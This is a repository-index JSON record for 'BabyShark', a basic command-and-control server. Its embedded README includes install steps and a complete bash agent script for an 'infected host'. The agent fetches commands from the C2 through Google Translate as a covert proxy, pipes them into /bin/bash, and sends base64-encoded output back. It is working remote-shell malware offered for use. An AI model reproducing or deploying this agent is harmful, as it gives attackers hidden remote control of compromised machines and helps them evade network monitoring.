{"id":13454303,"url":"https://github.com/UnkL4b/BabyShark","last_synced_at":"2025-03-24T05:33:30.554Z","repository":{"id":48964208,"uuid":"268794697","full_name":"UnkL4b/BabyShark","owner":"UnkL4b","description":"Basic C2 Server","archived":false,"fork":false,"pushed_at":"2021-07-03T00:18:18.000Z","size":34,"stargazers_count":188,"open_issues_count":0,"forks_count":29,"subscribers_count":12,"default_branch":"master","last_synced_at":"2025-03-21T10:11:39.612Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"HTML","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/UnkL4b.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2020-06-02T12:27:20.000Z","updated_at":"2025-03-18T13:29:20.000Z","dependencies_parsed_at":"2022-09-24T01:01:09.071Z","dependency_job_id":null,"html_url":"https://github.com/UnkL4b/BabyShark","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/UnkL4b%2FBabyShark","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/UnkL4b%2FBabyShark/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/UnkL4b%2FBabyShark/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/UnkL4b%2FBabyShark/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/UnkL4b","download_url":"https://codeload.github.com/UnkL4b/BabyShark/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":245217365,"owners_count":20579290,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-07-31T08:00:52.876Z","updated_at":"2025-03-24T05:33:30.235Z","avatar_url":"https://github.com/UnkL4b.png","language":"HTML","funding_links":[],"categories":["others","HTML","HTML (177)","Tools"],"sub_categories":["Open Source"],"readme":"![babyshark](https://repository-images.githubusercontent.com/268794697/4b8cb480-a584-11ea-9dd2-59cd3993dade)\n\n# INTRO\n\u003cp style='text-align: justify;'\u003e\nThis is a basic C2 generic server written in Python and Flask.\n\nThis code has based ideia to [GTRS](https://github.com/mthbernardes/GTRS), which uses [Google Translator](https://translate.google.com) as a proxy for sending commands to the infected host. The BabyShark project aims to centralize reverse connections with agents, creating a way to centralize several types of connections in one place. \n\nBabyShark does not generate infection agents, but it does offer a template to connect to it.\n\u003c/p\u003e\n\n# INSTALL\n\n```\ngit clone https://github.com/danilovazb/BabyShark/\ncd BabyShark\nmkdir database\nsqlite3 database/c2.db \u003c schema.sql\n```\n\n# AGENTS MODEL\n\n### GTRS - https://github.com/mthbernardes/GTRS\n\nThis client example from GTRS for connect to BabyShark:\n\n```bash\n#!/bin/bash\n\nif [[ $# \u003c 2 ]];then\n    echo -e \"Error\\nExecute: $0 www.c2server.com secretkey-provided-by-the-server\\n\"\n    exit\nfi\n\nrunning=true\nsecretkey=\"b4bysh4rk\"\nuser_agent=\"User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36\"\ndata=\"Content-Hype: \"\nc2server=\"http://babyshark/momyshark?key=$secretkey\"\nresult=\"\"\ninput=\"/tmp/input\"\noutput=\"/tmp/output\"\n\nfunction namedpipe(){\n  rm \"$input\" \"$output\"\n  mkfifo \"$input\"\n  tail -f \"$input\" | /bin/bash 2\u003e\u00261 \u003e $output \u0026\n}\n\nfunction getfirsturl(){\n  url=\"https://translate.google.com/translate?\u0026anno=2\u0026u=$c2server\"\n  first=$(curl --silent \"$url\" -H \"$user_agent\" | xmllint --html --xpath '//iframe/@src' - 2\u003e/dev/null | cut -d \"=\" -f2- | tr -d '\"' | sed 's/amp;//g' )\n} \n\nfunction getsecondurl(){\n  second=$(curl --silent -L \"$first\" -H \"$user_agent\"  | xmllint --html --xpath '//a/@href' - 2\u003e/dev/null | cut -d \"=\" -f2- | tr -d '\"' | sed 's/amp;//g')\n}\n\nfunction getcommand(){\n  if [[ \"$result\" ]];then  \n    command=$(curl -L --silent $second -H \"$result\" )\n  else\n    command=$(curl -L --silent $second -H \"$user_agent\" )\n\n    command1=$(echo \"$command\" | xmllint --html --xpath '//span[@class=\"google-src-text\"]/text()' - 2\u003e/dev/null)\n    command2=$(echo \"$command\" | xmllint --html --xpath '/html/body/main/div/div/div/div/ul/li/span/text()' - 2\u003e/dev/null )\n    if [[ \"$command1\" ]];then\n      command=\"$command1\"\n    else\n      command=\"$command2\"\n    fi\n  fi\n}\n\nfunction talktotranslate(){\n  getfirsturl\n  getsecondurl\n  getcommand\n}\n\nfunction main(){\n  result=\"\"\n  sleep 10\n  talktotranslate\n  if [[ \"$command\" ]];then\n    if [[ \"$command\" == \"exit\" ]];then\n      running=false \n    fi\n    echo $command\n    echo -n \u003e $output\n    idcommand=$(echo $command | cut -d '#' -f2)\n    echo \"$command\" \u003e \"$input\"\n    sleep 2\n    outputb64=$(cat $output | tr -d '\\000'  | base64 | tr -d '\\n'  2\u003e/dev/null)\n    if [[ \"$outputb64\" ]];then\n      result=\"$user_agent | $outputb64 | $idcommand \"\n      talktotranslate\n    fi\n  fi\n}\n\nnamedpipe\nwhile \"$running\";do\n  main\ndone\n\n```\n___\n\n\n# NEXT STEPS\n\n\n\n- SSH Reverse\n- DNS\n- DOH\n- HTTPS\n- HTTP3\n- ICMP\n- QUIC\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FUnkL4b%2FBabyShark","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FUnkL4b%2FBabyShark","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FUnkL4b%2FBabyShark/lists"}